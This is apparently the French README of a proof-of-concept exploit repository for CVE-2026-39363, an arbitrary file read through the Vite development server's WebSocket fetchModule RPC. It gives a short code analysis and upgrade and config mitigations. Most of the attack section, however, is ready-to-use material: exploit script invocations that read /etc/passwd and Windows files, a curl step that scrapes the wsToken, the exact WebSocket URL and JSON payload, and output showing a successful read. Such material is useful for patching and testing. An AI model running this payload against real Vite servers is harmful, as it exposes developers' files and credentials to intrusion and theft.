
Exploit pour CVE-2026-39363, une vulnérabilité de lecture arbitraire de fichiers via WebSocket du serveur de développement Vite, avec des scripts Python et Node.js pour l'exploitation automatisée et des étapes manuelles.
Vulnérabilité de lecture arbitraire de fichiers via le WebSocket du serveur de développement Vite
| Attribut | Informations |
|---|---|
| ID CVE | CVE-2026-39363 |
| ID GHSA | GHSA-p9ff-h696-f583 |
| Type de vulnérabilité | Lecture arbitraire de fichiers (Arbitrary File Read) |
| Composant affecté | Serveur de développement Vite |
| Versions affectées | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| Score CVSS | Élevé |
| Version corrigée | Vite >= 6.2.3 |
L'appel RPC fetchModule du WebSocket du serveur de développement Vite présente une vulnérabilité de contournement des contrôles de sécurité.
Emplacement du code vulnérable : vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// Point vulnérable clé : lorsque l'URL est file:// ou qu'il n'y a pas d'importer
// resolveId est appelé directement, sans vérification isFileServingAllowed !
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...traitement continu et retour du contenu du fichier
}
┌─────────────────────────────────────────────────────────────────┐
│ Chemin de requête HTTP (avec contrôle de sécurité) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOQUÉ │
│ (vérifie server.fs.allow) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ Chemin de requête WebSocket (contournement) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> resolveId direct │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> dépend de la configuration fs.allow│
│ │ │
│ ▼ │
│ Retour du contenu du fichier en cas de succès (si fs.allow le permet)│
└─────────────────────────────────────────────────────────────────┘
Chemin HTTP : passe par plusieurs niveaux de vérification ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed
Chemin WebSocket :
fetchModule n'appelle pas isFileServingAllowedisFileLoadingAllowed dans loadAndTransform reste activeserver.fs.allow est permissive, des fichiers arbitraires peuvent être lus--host)server.fs.allow permissive :
fs.allow: ['..'] - permet de lire les répertoires parentsfs.allow: ['C:/'] - permet de lire tout le disque Cfs.strict: false - aucune restriction/@vite/client)# Cloner le dépôt
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# Installer les dépendances
npm install
# Démarrer le serveur de développement Vite (avec configuration permissive pour démontrer la vulnérabilité)
npm run dev
# Utilisation de base (détection automatique du port)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# Lire un fichier hors du projet
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# Spécifier un token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# Obtenir le wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# Exécuter le POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # Document d'analyse de la vulnérabilité
├── exp.py # Script d'exploitation Python
├── poc.js # POC Node.js
├── vite.config.js # Fichier de configuration Vite (pour la démonstration)
├── package.json # Configuration du projet
├── src/ # Répertoire du code source
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # Ressources statiques
└── index.html # HTML d'entrée
npm update vite
# ou
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // autoriser uniquement le répertoire racine du projet
}
}
})
--host pour exposer le service